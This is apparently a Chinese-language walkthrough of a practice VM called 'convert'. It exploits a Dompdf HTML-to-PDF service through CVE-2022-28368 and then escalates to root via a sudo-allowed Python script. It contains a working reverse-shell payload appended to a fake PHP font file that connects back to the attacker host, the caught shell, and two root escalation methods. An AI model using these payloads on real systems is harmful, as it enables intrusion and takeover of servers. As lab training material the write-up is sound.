难度:easy

kali:192.168.56.104

靶机:192.168.56.152

今天突然上新的靶场,前面有点复杂,群里师傅也很厉害很快找出了解法,我跟着群友们的思路也是拿到了user权限,然后root权限就很easy了

端口扫描

┌──(root㉿kali2)-[~/Desktop]
└─# nmap 192.168.56.152
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 19:31 CST
Nmap scan report for 192.168.56.152
Host is up (0.000066s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:C1:F3:46 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

很干净没什么

目录扫描

┌──(root㉿kali2)-[~/Desktop]
└─# dirsearch -u http://192.168.56.152 
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/Desktop/reports/http_192.168.56.152/_24-04-15_19-31-54.txt

Target: http://192.168.56.152/

[19:31:55] Starting: 
[19:32:17] 403 -  555B  - /upload/                                          
[19:32:17] 301 -  169B  - /upload  ->  http://192.168.56.152/upload/        
                                                                             
Task Completed

目录也是跟干净,直接看web
Om6gnv.png
是一个html转pdf
这里其实有个CVE是Dompdf的CVE
CVE-2022-28368
然后还有一个CVE的POC两个可以结合一起来看
https://exploit-notes.hdks.org/exploit/web/dompdf-rce/#exploitation

现在本地写个html,用来让网页获取css渲染

┌──(root㉿kali2)-[~/Desktop]
└─# cat index.html 
<link rel='stylesheet' href='http://192.168.56.104:6677/exploit.css'>

然后再写exploit.css用来加载恶意的php

┌──(root㉿kali2)-[~/Desktop]
└─# cat exploit.css
@font-face{
        font-family:'exploitfont';
        src:url('http://192.168.56.104:6677/exploit_font.php');
        font-weight:'normal';
        font-style:'normal';
}

接着再写一个恶意的exp用来反弹shell
随便拉一个ttf文件把末尾加上反弹shell的指令

find / -name "*.ttf" 2>/dev/null
cp /path/to/example.ttf exploit_font.php
echo "<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.3.104/1234 0>&1'");?>" >>exploit_font.php

然后生成一个md5供我们访问目录

┌──(root㉿kali2)-[~/Desktop]
└─# echo -n 'http://192.168.56.104:6677/exploit_font.php'|md5sum
4a52e3b353439a3cd044c6fc91ddf114  -

万事俱备,只差shell了

user权限

kali开个http服务并且开个监听端口

┌──(root㉿kali2)-[~/Desktop]
└─# python -m http.server 6677
Serving HTTP on 0.0.0.0 port 6677 (http://0.0.0.0:6677/) ...
┌──(root㉿kali2)-[~/Desktop]
└─# nc -lvnp 4567 
listening on [any] 4567 ...

web访问html文件
Om6mDq.png
然后访问
http://192.168.56.152/dompdf/lib/fonts/exploitfont_normal_4a52e3b353439a3cd044c6fc91ddf114.php
后面是刚才生成的md5值拼接上去
访问shell就会弹回kali

┌──(root㉿kali2)-[~/Desktop]
└─# nc -lvnp 4567 
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.152] 48964
bash: cannot set terminal process group (518): Inappropriate ioctl for device
bash: no job control in this shell
eva@convert:/var/www/html/dompdf/lib/fonts$ 

直接拿到eva的权限,目录下有user flag并且可以读取

提权root

sudo -l

Matching Defaults entries for eva on convert:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User eva may run the following commands on convert:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /home/eva/pdfgen.py *

发现root执行/home/eva/pdfgen.py文件

from os import path
from time import time
from weasyprint import HTML, CSS
from urllib.parse import urlparse
from argparse import ArgumentParser
from logging import basicConfig, INFO, error, info, exception

def prune_log(log_file, max_size=1):
    try:
        log_size = path.getsize(log_file) / (1024 * 1024)
        if log_size > max_size:
            with open(log_file, 'w'):
                pass
            info(f"Log file pruned. Size exceeded {max_size} MB.")
            print(f"Log file pruned. Size exceeded {max_size} MB.")
    except Exception as e:
        print(f"Error pruning log file: {e}")

log_file = '/home/eva/pdf_gen.log'
prune_log(log_file)
basicConfig(level=INFO, filename=log_file, filemode='a',
            format='%(asctime)s - %(levelname)s - %(message)s')

def is_path_allowed(output_path):
    blocked_directories = ["/root", "/etc"]
    for directory in blocked_directories:
        if output_path.startswith(directory):
            return False
    return True

def url_html_to_pdf(url, output_path):
    block_schemes = ["file", "data"]
    block_hosts = ["127.0.0.1", "localhost"]
    blocked_directories = ["/root", "/etc"]

    try:
        start_time = time()

        scheme = urlparse(url).scheme
        hostname = urlparse(url).hostname

        if scheme in block_schemes:
            error(f"{scheme} scheme is Blocked")
            print(f"Error: {scheme} scheme is Blocked")
            return

        if hostname in block_hosts:
            error(f"{hostname} hostname is Blocked")
            print(f"Error: {hostname} hostname is Blocked")
            return

        if not is_path_allowed(output_path):
            error(f"Output path is not allowed in {blocked_directories} directories")
            print(f"Error: Output path is not allowed in {blocked_directories} directories")
            return

        html = HTML(url.strip())
        html.write_pdf(output_path, stylesheets=[CSS(string='@page { size: A3; margin: 1cm }')])

        end_time = time()
        elapsed_time = end_time - start_time
        info(f"PDF generated successfully at {output_path} in {elapsed_time:.2f} seconds")
        print(f"PDF generated successfully at {output_path} in {elapsed_time:.2f} seconds")

    except Exception as e:
        exception(f"Error: {e}")
        print(f"Error: {e}")

if __name__ == "__main__":
    parser = ArgumentParser(description="Convert HTML content from a URL to a PDF file.")
    parser.add_argument("-U", "--url", help="URL of the HTML content to convert", required=True)
    parser.add_argument("-O", "--out", help="Output file path for the generated PDF", default="/home/eva/output.pdf")

    args = parser.parse_args()
    url_html_to_pdf(args.url, args.out)

作用就是将一个url转化成pdf
关键部分

scheme = urlparse(url).scheme
       hostname = urlparse(url).hostname

       if scheme in block_schemes:
           error(f"{scheme} scheme is Blocked")
           print(f"Error: {scheme} scheme is Blocked")
           return

       if hostname in block_hosts:
           error(f"{hostname} hostname is Blocked")
           print(f"Error: {hostname} hostname is Blocked")
           return

       if not is_path_allowed(output_path):
           error(f"Output path is not allowed in {blocked_directories} directories")
           print(f"Error: Output path is not allowed in {blocked_directories} directories")
           return

对于输出路径过滤了/root但是对于输入路径没有过滤/root,我的解法就是直接读取/root/root.txt转化成pdf
sudo /usr/bin/python3 /home/eva/pdfgen.py -U /root/root.txt -O 1.pdf
把1.pdf传到kali打开就能看到root flag
Om6p6c.png

第二种思路就是直接替换这个py文件
因为当前目录就是eva的目录,所以可以替换pdfgen.py

eva@convert:~$ rm pdfgen.py
rm: remove write-protected regular file 'pdfgen.py'? y
eva@convert:~$ echo "import os;os.system('/bin/bash');" > pdfgen.py
eva@convert:~$ cat pdfgen.py
import os;os.system('/bin/bash');
eva@convert:~$ sudo -l
Matching Defaults entries for eva on convert:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User eva may run the following commands on convert:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /home/eva/pdfgen.py *
eva@convert:~$ sudo /usr/bin/python3 /home/eva/pdfgen.py *
root@convert:/home/eva# id
uid=0(root) gid=0(root) groups=0(root)